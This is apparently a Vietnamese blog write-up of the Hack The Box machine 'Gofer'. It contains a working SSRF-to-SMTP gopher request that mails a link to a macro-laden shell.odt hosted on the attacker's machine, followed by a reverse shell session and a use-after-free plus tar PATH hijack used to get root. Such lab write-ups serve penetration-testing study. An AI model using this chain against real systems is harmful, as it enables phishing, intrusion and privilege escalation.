Gofer

 

Enumeration

Zenmap:

SMB:

Tại đây tôi thấy có Sharename shares không cần login cũng có thể truy cập.
Đọc file mail:
From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
Từ đoạn mail trên tôi biết được mọi người có xu hướng click vào một được link hoặc mở một file lạ khi gửi mail tới ( dường như đây là phishing attack. Thật lố bịch, tại sao họ lại làm ra cái máy có phishing attack nhỉ? ). Thật tệ.

FFuF

Tại đây tôi có được subdomain proxy, truy cập nó từ web tôi nhận được thông tin bắt buộc đăng nhập. Nhưng khi call từ curl tôi thấy:
PS D:\thehackbox\Machines\Gofer>  curl.exe --request POST --location "http://proxy.gofer.htb/index.php"
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>
PS D:\thehackbox\Machines\Gofer>  curl.exe --request POST --location "http://proxy.gofer.htb/index.php?url=http://<IP Attack>"
<!-- Welcome to Gofer proxy -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="shell">shell</a></li>
<li><a href="shell.odt">shell.odt</a></li>
</ul>
<hr>
</body>
</html>
1
PS D:\thehackbox\Machines\Gofer>

#----------------------------------------------
PS D:\thehackbox\Machines\Gofer> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [30/Jul/2023 18:11:53] "GET / HTTP/1.1" 200 -
Tôi biết rằng đây là một lỗ hổng ssrf.
Tìm kiếm một số thông tin về tên box và lỗ hổng ssrf tôi tìm thấy: Server-Side Request Forgery to Internal SMTP Access
Khi tôi cố gắng gửi dữ liệu tới 127.0.0.1 hệ thông thông báo cho tôi như sau:
Tôi phát hiện ra rằng ssrf cũng có thể là một lỗ hổng về LFI:
PS D:\thehackbox\Machines\Gofer>  curl.exe --request POST --location "http://proxy.gofer.htb/index.php?url=file:/var/www/proxy/index.php"
<!-- Welcome to Gofer proxy -->
<!-- Welcome to Gofer proxy -->
<?php

function is_blacklisted($url) {
    $keywords = array("localhost", "/127", "about://", "acap://", "addbook://", "afp://", "afs://", "aim://", "applescript://", "bcp://", "bk://", "btspp://", "callto://", "castanet://", "cdv://", "chrome://", "chttp://", "cid://", "crid://", "data://", "dav://", "daytime://", "device://", "dict://", "dns://", "doi://", "dtn://", "ed2k://", "eid://", "enp://", "fax://", "feed://", "file://", "finger://", "freenet://", "ftp://", "go://", "gsiftp://", "gsm-sms://", "h323://", "h324://", "hdl://", "hnews://", "httpsy://", "iioploc://", "ilu://", "im://", "imap://", "info://", "ior://", "ip://", "ipp://", "irc://", "iris.beep://", "itms://", "jar://", "javascript://", "jdbc://", "klik://", "kn://", "lastfm://", "ldap://", "lifn://", "livescript://", "lrq://", "mac://", "magnet://", "mailbox://", "mailserver://", "mailto://", "man://", "md5://", "mid://", "mms://", "mocha://", "modem://", "moz-abmdbdirectory://", "msni://", "mtqp://", "mumble://", "mupdate://", "myim://", "news://", "nltk://", "nfs://", "nntp://", "oai://", "opaquelocktoken://", "pcast://", "phone://", "php://", "pop://", "pop3://", "pres://", "printer://", "prospero://", "pyimp://", "rdar://", "res://", "rtsp://", "rvp://", "rwhois://", "rx://", "sdp://", "secondlife://", "service://", "sip://", "sips://", "smb://", "smtp://", "snews://", "snmp://", "soap.beep://", "soap.beeps://", "soap.udp://", "subethaedit://", "svn://", "svn\+ssh://", "t120://", "tag://", "tann://", "tcp://", "tel://", "telephone://", "telnet://", "tftp://", "thismessage://", "tip://", "tn3270://", "tv://", "txmt://", "uddi://", "urn://", "uuid://", "vemmi://", "videotex://", "view-source://", "wais://", "wcap://", "webcal://", "whodp://", "whois://", "wpn://", "wtai://", "xeerkat://", "xfire://", "xmlrpc.beep://", "xmlrpc.beeps://", "xmpp://", "ymsgr://", "z39.50r://", "z39.50s");

    foreach ($keywords as $k) {
        if(strpos(strtolower($url), "$k") !== false) {
            return $k;
        }
    }

    return false;
}

if(!empty($_GET["url"])) {

    $url = $_GET["url"];

    $is_blacklisted = is_blacklisted($url);

    if($is_blacklisted === false) {

        $url = $_GET["url"];
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $url);
        curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
        $output = curl_exec($c);
        curl_close($c);

        echo $output;
    }
    else {
        echo "<html><body>Blacklisted keyword: $is_blacklisted !</body></html>";
    }
} else {
    echo "<html><body>Missing URL parameter !</body></html>";
}
?>
1
PS D:\thehackbox\Machines\Gofer>
Tại đây tôi có thể đọc được source code của dịch vụ chạy trên subdomain proxy. Nó tồn tại danh sách black list nhưng trong danh sách này chưa từng chặn 0.0.0.0 và tôi có thể gửi code như sau:
Đâu tiên tôi tạo payload để gửi.
<?php
        $commands = array(
                'HELO gofer.htb',
                'MAIL FROM: <hacker@site.com>',
                'RCPT TO: <jhudson@gofer.htb>',
                'DATA',
                'Subject: TEST',
                'TEST',
                '.',
                'QUIT'
        );
$payload = implode('%0A', $commands); // memisahkan tiap command dengan newline
echo 'gopher://0.0.0.0:25/_' . $payload;
?>
lấy đoạn dữ liệu bên dưới mã hóa url encode và thực hiện gửi:
Như ở trong phần smb sau khi đọc mail tôi biết rằng có thể máy này sẽ dẫn tới một kiểu tấn công phishing mail.
Tạo file shell.odt chứ mã shell: Using malicious libreoffice calc macros to target linux
Dowload libreoffice, sau đó thực hiện tạo một file với macros:
Open libreoffice và new một macros:
New và Edit macros như sau:
Add Event macros:

Tôi tạo payload như sau:

Gaining access jhudson

Khai thác và tôi thu được kết quả:
PS D:\thehackbox\Machines\Gofer> curl.exe -X POST  "http://proxy.gofer.htb/index.php?url=gopher://0.0.0.0:25/_HELO%20gofer.htb%250AMAIL%20FROM:%20%3Chacker@site.com%3E%250ARCPT%20TO:%20%3Cjhudson@gofer.htb%3E%250ADATA%250ASubject:%20TEST%250A%3Ca%20href=http://<IP Attack>/shell.odt%3Eclick%3C/a%3E%250A.%250AQUIT"
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 26C5D8146
221 2.0.0 Bye
1
PS D:\thehackbox\Machines\Gofer>

#-------------------------------
PS D:\thehackbox\Machines\Gofer> python  -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.**.** - - [30/Jul/2023 20:40:04] "GET /shell.odt HTTP/1.1" 200 -

#-------------------------------
PS D:\thehackbox\Machines\Gofer> ncat.exe -l 8888
id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
jhudson@gofer:/usr/bin$ id
id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
You have mail in /var/mail/jhudson
jhudson@gofer:/usr/bin$
PS D:\thehackbox\Machines\Gofer> ncat.exe -l 8888
id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
jhudson@gofer:/usr/bin$ cd ~
cd ~
jhudson@gofer:~$ ls
ls
Downloads  notes  pspy64  user.txt
jhudson@gofer:~$ cat user.txt
cat user.txt
********************************
jhudson@gofer:~$

Gaining access tbuckley

Sử dung pspy và tôi nhìn thấy điều sau:

Privilege escalation

Tìm kiếm các command có quyền root:
Lấy file notes về và phân tích mã với cutter:
Trong case 1:
Tại case với chức năng tạo user. nó tạo một phân vùng bộ nhớ 40 byte(0x28) với 24 byte(0x18) đầu là cho tên user, 16 byte(0x10) sau là cho role.
Trong case 3:
Tại đây dường như chương trình chỉ giải phóng bộ nhớ mà không hể đặt con trỏ về null, nên vị trí con trỏ vẫn trỏ vào đối tượng user tôi đã tạo lúc đầu.
Trong case 4:
Tại đây chương trình cũng khơi tạo một phân vùng bộ nhớ 40 byte để thực hiện ghi note.
Tôi nhìn thấy rằng tại 3 case này có xuất hiện một lỗ hổng logic code. Khi tôi bắt đầu, tôi tạo một user, sau đó xóa user đó, thì con trỏ, trỏ tới bộ nhớ được tạo bởi hàm malloc sẽ giữ nguyên tại vị trí ban đầu, là vị trí của đối tượng user. Tiếp đó tôi tạo viết một note thì hàm malloc sẽ khơi tạo một vùng nhớ 40 byte tại vị trí user ban đầu mà tôi đã tạo và thực hiện ghi đề 24 byte đầu là tên user và những byte tiếp theo là role của user.
Sau khi thực hiện như trên và gửi note có dạng như sau: aaaaaaaaaaaaaaaaaaaaaaaabbbbb
Tôi nhận được kết quả khi lấy thông tin user:
Tôi biết răng tôi có thể thay đổi thành bất kỳ vai trò gì mà tôi muốn bằng cách sửa bbbbb.
Trong case 8, tôi biết rằng tại case này chương trình sẽ kiểm tra xem role có phải là admin hay không nếu là admin thì trương trình sẽ thực hiện command tar sau:
Dường như nó hoàn toàn gọi command tar mà không có đường dẫn truyệt đối, đây là một lỗ hổng về setuid.
Tôi thực hiện như sau:
Sau đó thực hiện notes thay đổi thành role user thành admin và choice case 8.
Khi gọi thành công case 8, thực hiện kiểm tra:



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post